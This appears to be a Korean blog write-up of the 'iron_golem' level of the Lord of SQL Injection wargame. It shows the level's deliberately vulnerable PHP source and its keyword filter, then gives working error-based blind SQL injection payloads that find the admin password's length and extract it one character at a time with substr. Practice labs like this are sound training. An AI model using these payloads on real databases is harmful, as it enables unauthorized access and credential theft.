본문 바로가기
war game/웹 워게임(los)

load of sql injection iron_golem

by 강깅꽁 2016. 9. 15.

<?php
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  
$query "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
mysql_error()) exit(mysql_error());
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysql_fetch_array(mysql_query($query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  
highlight_file(__FILE__);
?>


소스코드 분석

error based sql injection 인 것 같다.

쿼리가 에러를 뱉어내면 에러 내용을 보여주고 종료 시킨다.

유효 구문

pw=' or id='admin' and if(length(pw)=56,1,(select 1 union select 2)) %23 패스 워드 길이 알아내는것 56바이트 즉 한글이면 14글자 라는 뜻.

' or id='admin' and if(substr(pw,3,1)='유',1,(select 1 union select 2)) %23 //하나씩 찾는 구문

14글자임 1 답공유하지마빼애애애애액